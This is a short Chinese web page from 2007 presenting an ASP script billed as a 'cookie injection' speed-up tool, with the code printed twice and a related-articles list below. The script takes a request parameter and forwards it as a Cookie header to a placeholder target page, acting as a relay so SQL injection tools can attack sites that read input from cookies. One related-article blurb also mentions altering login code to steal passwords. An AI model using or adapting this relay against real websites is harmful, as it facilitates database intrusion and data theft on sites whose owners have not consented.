ASP版實(shí)現(xiàn)cookies注入加速工具
更新時(shí)間：2007年11月29日 14:50:09 作者：
來(lái)源：職業(yè)欠錢&zj1244共用的public Blog
<%
Str="xxxid="&escape(request("FK"))
Url="http://xxx.chinaxxx.com/injection.asp"
response.write PostData(Url,Str)
Function PostData(PostUrl,PostCok)
Dim Http
Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
With Http
.Open "GET",PostUrl,False
.SetRequestHeader "Cookie",PostCok
.Send
PostData = .ResponseBody
End With
Set Http = Nothing
PostData =bytes2BSTR(PostData)
End Function
Function bytes2BSTR(vIn)
Dim strReturn
Dim I, ThisCharCode, NextCharCode
strReturn = ""
For I = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn, I, 1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn, I + 1, 1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
I = I + 1
End If
Next
bytes2BSTR = strReturn
End Function
%>
復(fù)制代碼 代碼如下:
<%
Str="xxxid="&escape(request("FK"))
Url="http://xxx.chinaxxx.com/injection.asp"
response.write PostData(Url,Str)
Function PostData(PostUrl,PostCok)
Dim Http
Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
With Http
.Open "GET",PostUrl,False
.SetRequestHeader "Cookie",PostCok
.Send
PostData = .ResponseBody
End With
Set Http = Nothing
PostData =bytes2BSTR(PostData)
End Function
Function bytes2BSTR(vIn)
Dim strReturn
Dim I, ThisCharCode, NextCharCode
strReturn = ""
For I = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn, I, 1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn, I + 1, 1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
I = I + 1
End If
Next
bytes2BSTR = strReturn
End Function
%>
相關(guān)文章
很多黑客通過(guò)修改后臺(tái)登陸代碼獲得目標(biāo)網(wǎng)站的用戶登錄密碼，這樣我們一旦輸入了密碼就保存到一個(gè)txt里面2012-05-05
15種ASP技巧...2007-02-02
ASP 連接Access數(shù)據(jù)庫(kù)的登陸系統(tǒng)
這篇文章主要為大家詳細(xì)介紹了ASP 連接Access數(shù)據(jù)庫(kù)的登陸系統(tǒng)，感興趣的小伙伴們可以參考一下2016-07-07
查看ASP詳細(xì)錯(cuò)誤提示信息的圖文設(shè)置方法
有時(shí)候很多朋友訪問(wèn)自己的asp或php等程序頁(yè)面時(shí)出現(xiàn)一些錯(cuò)誤，就是頁(yè)面無(wú)法顯示也沒(méi)有詳細(xì)的錯(cuò)誤信息，就算iis中開啟了顯示詳細(xì)的錯(cuò)誤也不能看到，那么就需要客戶端如下的設(shè)置了。2011-01-01
下面的代碼注意是針對(duì)搜索引擎做出一些適當(dāng)?shù)膬?nèi)容顯示，但這樣對(duì)于seo不好。不建議使用。作為學(xué)習(xí)參考。2010-03-03
IIS7.5調(diào)用asp頁(yè)面出現(xiàn)800a0e7a的解決辦法
本文給大家分享的是在windows2008R2 64位系統(tǒng)中出現(xiàn)了ADODB.Connection 錯(cuò)誤 '800a0e7a'的解決辦法，方法很簡(jiǎn)單，可是處理過(guò)程卻很曲折，這里推薦給大家，有需要的小伙伴可以參考下。2015-05-05
FpHtmlEnCode 函數(shù)之標(biāo)題過(guò)濾特殊符號(hào)的代碼
FpHtmlEnCode 函數(shù)之標(biāo)題過(guò)濾特殊符號(hào)的代碼...2007-09-09
對(duì)于asp下的不用fso，使用adodb.stream對(duì)象實(shí)現(xiàn)文件的保存與讀取，避免一些虛擬主機(jī)不支持fso的機(jī)器。2009-01-01
asp CutStrX字符串截取函數(shù)(過(guò)濾全部HTML標(biāo)記)
asp CutStrX字符串截取函數(shù)(過(guò)濾全部HTML標(biāo)記),比較不錯(cuò)，需要的朋友可以參考下。2011-07-07
如何在ASP頁(yè)面動(dòng)態(tài)Inclue文件？
如何在ASP頁(yè)面動(dòng)態(tài)Inclue文件？...2006-12-12